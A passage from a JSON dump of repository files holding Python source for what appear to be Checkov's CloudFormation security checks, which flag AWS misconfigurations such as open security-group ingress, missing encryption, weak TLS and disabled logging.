    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass APIGatewayXray(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure API Gateway has X-Ray Tracing enabled\"\n        id = \"CKV_AWS_73\"\n        supported_resources = ['AWS::ApiGateway::Stage', \"AWS::Serverless::Api\"]\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/TracingEnabled'\n\n    def get_expected_value(self):\n        return True\n\n\ncheck = APIGatewayXray()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/AbsSecurityGroupUnrestrictedIngress.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AbsSecurityGroupUnrestrictedIngress(BaseResourceCheck):\n    def __init__(self, check_id, port) -> None:\n        name = \"Ensure no security groups allow ingress from 0.0.0.0:0 to port %d\" % port\n        supported_resources = ['AWS::EC2::SecurityGroup', 'AWS::EC2::SecurityGroupIngress']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n        self.port = port\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        \"\"\"\n        Looks for configuration at security group ingress rules:\n        https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ec2-security-group-ingress.html\n        :param conf: aws_security_group configuration\n        :return: <CheckResult>\n        \"\"\"\n        rules = []\n        if conf['Type'] == 'AWS::EC2::SecurityGroup':\n            if 'Properties' in conf.keys():\n                if 'SecurityGroupIngress' in conf['Properties'].keys():\n                    self.evaluated_keys = ['Properties/SecurityGroupIngress']\n                    rules = conf['Properties']['SecurityGroupIngress']\n        elif conf['Type'] == 'AWS::EC2::SecurityGroupIngress':\n            if 'Properties' in conf.keys():\n                self.evaluated_keys = ['Properties']\n                rules = []\n                rules.append(conf['Properties'])\n\n        if not isinstance(rules, list):\n            return CheckResult.UNKNOWN\n\n        for rule in rules:\n            if rule.__contains__('FromPort') and rule.__contains__('ToPort'):\n                if (isinstance(rule['FromPort'], int) and isinstance(rule['ToPort'], int)) or \\\n                        isinstance(rule['FromPort'], str) and isinstance(rule['ToPort'], str):\n                    if self.range(rule):\n                        if 'CidrIp' in rule.keys():\n                            cidr = rule['CidrIp']\n                            if cidr == '0.0.0.0/0':  # nosec  # nosec\n                                return CheckResult.FAILED\n                        elif 'CidrIpv6' in rule.keys() and \\\n                                rule['CidrIpv6'] in ['::/0', '0000:0000:0000:0000:0000:0000:0000:0000/0']:\n                            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def range(self, rule) -> bool:\n        if int(rule['FromPort']) <= int(self.port) <= int(rule['ToPort']):\n            return True\n        return False\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/AmazonMQBrokerPublicAccess.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AmazonMQBrokerPublicAccess(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Amazon MQ Broker should not have public access\"\n        id = \"CKV_AWS_69\"\n        supported_resources = ('AWS::AmazonMQ::Broker',)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_block_result=CheckResult.FAILED,\n        )\n\n    def get_expected_value(self) -> Any:\n        return False\n\n    def get_inspected_key(self) -> str:\n        \"\"\"\n            validates Amazon MQ Broker should not have public access\n            https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-amazonmq-broker.html\n        :return: <CheckResult>\n        \"\"\"\n        return 'Properties/PubliclyAccessible'\n\n\ncheck = AmazonMQBrokerPublicAccess()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/AppSyncFieldLevelLogs.py",
    "content": "from typing import Any, List\n\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass AppSyncFieldLevelLogs(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure AppSync has Field-Level logs enabled\"\n        id = \"CKV_AWS_194\"\n        supported_resources = (\"AWS::AppSync::GraphQLApi\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/LogConfig/FieldLogLevel\"\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"ALL\", \"ERROR\"]\n\n\ncheck = AppSyncFieldLevelLogs()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/AppSyncLogging.py",
    "content": "from typing import Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass AppSyncLogging(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure AppSync has Logging enabled\"\n        id = \"CKV_AWS_193\"\n        supported_resources = (\"AWS::AppSync::GraphQLApi\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/LogConfig/CloudWatchLogsRoleArn\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = AppSyncLogging()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/AthenaWorkgroupConfiguration.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AthenaWorkgroupConfiguration(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Athena Workgroup should enforce configuration to prevent client disabling encryption\"\n        id = \"CKV_AWS_82\"\n        supported_resources = (\"AWS::Athena::WorkGroup\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/WorkGroupConfiguration/EnforceWorkGroupConfiguration\"\n\n\ncheck = AthenaWorkgroupConfiguration()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/AuroraEncryption.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AuroraEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure all data stored in Aurora is securely encrypted at rest\"\n        id = \"CKV_AWS_96\"\n        supported_resources = (\"AWS::RDS::DBCluster\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, dict[str, Any]]) -> CheckResult:\n        # If you specify the SnapshotIdentifier or SourceDBInstanceIdentifier property, don't specify this property.\n        # The value is inherited from the snapshot or source DB instance.\n        # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-rds-dbcluster.html#cfn-rds-dbcluster-storageencrypted\n        # Doc refers to 'SourceDBInstanceIdentifier' but that is not an available field. This is a doc error. 'SourceDBClusterIdentifier' is correct.\n        properties = conf.get(\"Properties\")\n        if properties:\n            if \"SnapshotIdentifier\" in properties.keys() or \"SourceDBClusterIdentifier\" in properties.keys():\n                return CheckResult.UNKNOWN\n        # No snapshot or source DB; Use base class implementation\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/StorageEncrypted\"\n\n\ncheck = AuroraEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/BackupVaultEncrypted.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass BackupVaultEncrypted(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Backup Vault is encrypted at rest using KMS CMK\"\n        id = \"CKV_AWS_166\"\n        supported_resources = ['AWS::Backup::BackupVault']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/EncryptionKeyArn'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = BackupVaultEncrypted()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/BedrockAgentEncrypted.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass BedrockAgentEncrypted(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Bedrock Agent is encrypted with a CMK\"\n        id = \"CKV_AWS_373\"\n        supported_resources = ['AWS::Bedrock::Agent']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/CustomerEncryptionKeyArn'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = BedrockAgentEncrypted()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/CloudFrontTLS12.py",
    "content": "from typing import Any, Dict\nimport re\n\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n_SECURE_RE = re.compile(r\"^TLSv1\\.(?:2|3)_\\d{4}$\")\n\n\nclass CloudFrontTLS12(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Verify CloudFront Distribution Viewer Certificate is using TLS v1.2 or higher\"\n        id = \"CKV_AWS_174\"\n        supported_resources = [\"AWS::CloudFront::Distribution\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/DistributionConfig/ViewerCertificate/MinimumProtocolVersion\"\n\n    @staticmethod\n    def validate_value(value: Any) -> bool:\n        return isinstance(value, str) and bool(_SECURE_RE.match(value))\n\n    def get_evaluated_keys(self):\n        return [self.get_inspected_key()]\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        # Navigate CFN structure safely\n        props = conf.get(\"Properties\")\n        if not isinstance(props, dict):\n            return CheckResult.FAILED\n\n        dist_cfg = props.get(\"DistributionConfig\")\n        if not isinstance(dist_cfg, dict):\n            return CheckResult.FAILED\n\n        viewer_cert = dist_cfg.get(\"ViewerCertificate\")\n        if not isinstance(viewer_cert, dict):\n            return CheckResult.FAILED\n\n        # If they use the CloudFront default cert, you can't set a secure policy -> fail explicitly\n        if viewer_cert.get(\"CloudFrontDefaultCertificate\") is True:\n            return CheckResult.FAILED\n\n        mpv = viewer_cert.get(\"MinimumProtocolVersion\")\n        if isinstance(mpv, str) and _SECURE_RE.match(mpv):\n            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = CloudFrontTLS12()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/CloudWatchLogGroupKMSKey.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass CloudWatchLogGroupKMSKey(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that CloudWatch Log Group is encrypted by KMS\"\n        id = \"CKV_AWS_158\"\n        supported_resource = ['AWS::Logs::LogGroup']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource)\n\n    def get_inspected_key(self):\n        return 'Properties/KmsKeyId'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = CloudWatchLogGroupKMSKey()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/CloudWatchLogGroupRetention.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass CloudWatchLogGroupRetention(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that CloudWatch Log Group specifies retention days\"\n        id = \"CKV_AWS_66\"\n        supported_resource = ['AWS::Logs::LogGroup']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource)\n\n    def get_inspected_key(self):\n        return 'Properties/RetentionInDays'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = CloudWatchLogGroupRetention()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/CloudfrontDistributionEncryption.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass CloudfrontDistributionEncryption(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure CloudFront Distribution ViewerProtocolPolicy is set to HTTPS\"\n        id = \"CKV_AWS_34\"\n        supported_resources = ['AWS::CloudFront::Distribution']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for ViewerProtocolPolicy configuration at cloudfront distributions:\n            https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-cloudfront-distribution-cachebehavior.html\n            https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-cloudfront-distribution-defaultcachebehavior.html\n        :param conf: cloudfront configuration\n        :return: <CheckResult>\n        \"\"\"\n\n        self.evaluated_keys = [\"Properties\"]\n        if 'Properties' in conf.keys():\n            if 'DistributionConfig' in conf['Properties'].keys():\n                if 'DefaultCacheBehavior' in conf['Properties']['DistributionConfig'].keys():\n                    if 'ViewerProtocolPolicy' in conf['Properties']['DistributionConfig']['DefaultCacheBehavior'].keys():\n                        if conf['Properties']['DistributionConfig']['DefaultCacheBehavior']['ViewerProtocolPolicy'] == 'allow-all':\n                            self.evaluated_keys = [\"Properties/DistributionConfig/DefaultCacheBehavior/ViewerProtocolPolicy\"]\n                            return CheckResult.FAILED\n                if 'CacheBehaviors' in conf['Properties']['DistributionConfig'].keys():\n                    if not isinstance(conf['Properties']['DistributionConfig']['CacheBehaviors'], list):\n                        return CheckResult.UNKNOWN\n                    for idx, behavior in enumerate(range(len(conf['Properties']['DistributionConfig']['CacheBehaviors']))):\n                        if 'ViewerProtocolPolicy' in conf['Properties']['DistributionConfig']['CacheBehaviors'][behavior].keys():\n                            if conf['Properties']['DistributionConfig']['CacheBehaviors'][behavior]['ViewerProtocolPolicy'] == 'allow-all':\n                                self.evaluated_keys = [f\"Properties/DistributionConfig/CacheBehaviors/[{idx}]/ViewerProtocolPolicy\"]\n                                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = CloudfrontDistributionEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/CloudfrontDistributionLogging.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass CloudfrontDistributionLogging(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure CloudFront Distribution has Access Logging enabled\"\n        id = \"CKV_AWS_86\"\n        supported_resources = ['AWS::CloudFront::Distribution']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/DistributionConfig/Logging/Bucket'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = CloudfrontDistributionLogging()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/CloudtrailEncryption.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CloudtrailEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure CloudTrail logs are encrypted at rest using KMS CMKs\"\n        id = \"CKV_AWS_35\"\n        supported_resources = (\"AWS::CloudTrail::Trail\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/KMSKeyId\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = CloudtrailEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/CloudtrailLogValidation.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CloudtrailLogValidation(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure CloudTrail log file validation is enabled\"\n        id = \"CKV_AWS_36\"\n        supported_resources = ['AWS::CloudTrail::Trail']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/EnableLogFileValidation'\n\n\ncheck = CloudtrailLogValidation()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/CloudtrailMultiRegion.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CloudtrailMultiRegion(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure CloudTrail is enabled in all Regions\"\n        id = \"CKV_AWS_67\"\n        supported_resources = ['AWS::CloudTrail::Trail']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/IsMultiRegionTrail'\n\n\ncheck = CloudtrailMultiRegion()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/CodeBuildProjectEncryption.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass CodeBuildProjectEncryption(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that CodeBuild Project encryption is not disabled\"\n        id = \"CKV_AWS_78\"\n        supported_resources = (\"AWS::CodeBuild::Project\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        # Only Fail if Artifact Type is S3 and EncryptionDisabled is True.\n        artifact_type = \"\"\n        encryption_disabled = False\n        properties = conf.get(\"Properties\")\n        if properties:\n            self.evaluated_keys = [\"Properties\"]\n            artifacts = properties.get(\"Artifacts\")\n            if artifacts and isinstance(artifacts, dict):\n                self.evaluated_keys = [\"Properties/Artifacts\"]\n                if \"Type\" in artifacts.keys():\n                    artifact_type = artifacts[\"Type\"]\n                if \"EncryptionDisabled\" in artifacts.keys():\n                    encryption_disabled = artifacts[\"EncryptionDisabled\"]\n                if artifact_type == \"S3\" and encryption_disabled is True:\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = CodeBuildProjectEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/CognitoUnauthenticatedIdentities.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass CognitoUnauthenticatedIdentities(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure AWS Cognito identity pool does not allow unauthenticated guest access\"\n        id = \"CKV_AWS_366\"\n        supported_resources = ('AWS::Cognito::IdentityPool',)\n        categories = (CheckCategories.IAM,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_block_result=CheckResult.FAILED,\n        )\n\n    def get_expected_value(self) -> Any:\n        return False\n\n    def get_inspected_key(self) -> str:\n        return 'Properties/AllowUnauthenticatedIdentities'\n\n\ncheck = CognitoUnauthenticatedIdentities()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/DAXEncryption.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass DAXEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure DAX is encrypted at rest (default is unencrypted)\"\n        id = \"CKV_AWS_47\"\n        supported_resources = ['AWS::DAX::Cluster']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/SSESpecification/SSEEnabled'\n\n    def get_expected_value(self):\n        return True\n\n\ncheck = DAXEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/DMSReplicationInstancePubliclyAccessible.py",
    "content": "from typing import Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass DMSReplicationInstancePubliclyAccessible(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"DMS replication instance should not be publicly accessible\"\n        id = \"CKV_AWS_89\"\n        supported_resources = (\"AWS::DMS::ReplicationInstance\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/PubliclyAccessible\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = DMSReplicationInstancePubliclyAccessible()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/DeprecatedLambdaRuntime.py",
    "content": "from typing import List, Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass DeprecatedLambdaRuntime(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Lambda Runtime is not deprecated\"\n        id = \"CKV_AWS_363\"\n        supported_resources = ['AWS::Lambda::Function', 'AWS::Serverless::Function']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/Runtime\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        # Source: https://docs.aws.amazon.com/lambda/latest/dg/lambda-runtimes.html\n        return [\"dotnetcore3.1\", \"nodejs12.x\", \"python3.6\", \"python2.7\", \"dotnet5.0\", \"dotnetcore2.1\", \"ruby2.5\",\n                \"nodejs10.x\", \"nodejs8.10\", \"nodejs4.3\", \"nodejs6.10\", \"dotnetcore1.0\", \"dotnetcore2.0\",\n                \"nodejs4.3-edge\", \"nodejs\", \"java8\", \"python3.7\", \"go1.x\", \"provided\", \"ruby2.7\", \"nodejs14.x\",\n                \"nodejs16.x\", \"python3.9\", \"dotnet7\", \"dotnet6\"\n                # , \"nodejs18.x\" # Uncomment on Sept 1, 2025\n                # , \"provided.al2\" # Uncomment on Jun 30, 2026\n                # , \"python3.9\" # Uncomment on Nov 3, 2025\n                ]\n\n\ncheck = DeprecatedLambdaRuntime()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/DocDBAuditLogs.py",
    "content": "from typing import Any, List\n\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass DocDBAuditLogs(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure DocumentDB has audit logs enabled\"\n        id = \"CKV_AWS_104\"\n        supported_resources = [\"AWS::DocDB::DBClusterParameterGroup\"]\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/Parameters/audit_logs\"\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"all\", \"ddl\", \"dml_read\", \"dml_write\", \"enabled\"]\n\n\ncheck = DocDBAuditLogs()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/DocDBBackupRetention.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass DocDBBackupRetention(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure DocumentDB has an adequate backup retention period\"\n        id = \"CKV_AWS_360\"\n        supported_resources = (\"AWS::DocDB::DBCluster\",)\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/BackupRetentionPeriod\"\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        properties = conf.get(\"Properties\")\n        if properties:\n            backup_retention_period = properties.get(\"BackupRetentionPeriod\", 1)\n            if backup_retention_period >= 7:\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = DocDBBackupRetention()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/DocDBEncryption.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass DocDBEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure DocumentDB is encrypted at rest (default is unencrypted)\"\n        id = \"CKV_AWS_74\"\n        supported_resources = (\"AWS::DocDB::DBCluster\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/StorageEncrypted\"\n\n\ncheck = DocDBEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/DocDBLogging.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\nLOG_TYPES = (\"profiler\", \"audit\")\n\n\nclass DocDBLogging(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure DocumentDB Logging is enabled\"\n        id = \"CKV_AWS_85\"\n        supported_resources = (\"AWS::DocDB::DBCluster\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        properties = conf.get(\"Properties\")\n        if properties:\n            logs_exports = properties.get(\"EnableCloudwatchLogsExports\")\n            if logs_exports:\n                if any(elem in logs_exports for elem in LOG_TYPES):\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"Properties/EnableCloudwatchLogsExports\"]\n\n\ncheck = DocDBLogging()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/DocDBTLS.py",
    "content": "from typing import List, Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass DocDBTLS(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure DocumentDB TLS is not disabled\"\n        id = \"CKV_AWS_90\"\n        supported_resources = ['AWS::DocDB::DBClusterParameterGroup']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/Parameters/tls\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [\"disabled\"]\n\n\ncheck = DocDBTLS()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/DynamoDBTablesEncrypted.py",
    "content": "from typing import List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass DynamoDBTablesEncrypted(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure DynamoDB Tables are encrypted using a KMS Customer Managed CMK\"\n        id = \"CKV_AWS_119\"\n        supported_resources = [\"AWS::DynamoDB::Table\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        properties = conf.get('Properties')\n        if properties is not None:\n            sse_config = properties.get('SSESpecification')\n            if sse_config is not None:\n                sse_enabled = sse_config.get('SSEEnabled')\n                sse_key = sse_config.get('KMSMasterKeyId')\n                if sse_enabled and sse_key is not None:\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"Properties/SSESpecification/SSEEnabled\", \"Properties/SSESpecification/KMSMasterKeyId\"]\n\n\ncheck = DynamoDBTablesEncrypted()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/DynamodbGlobalTableRecovery.py",
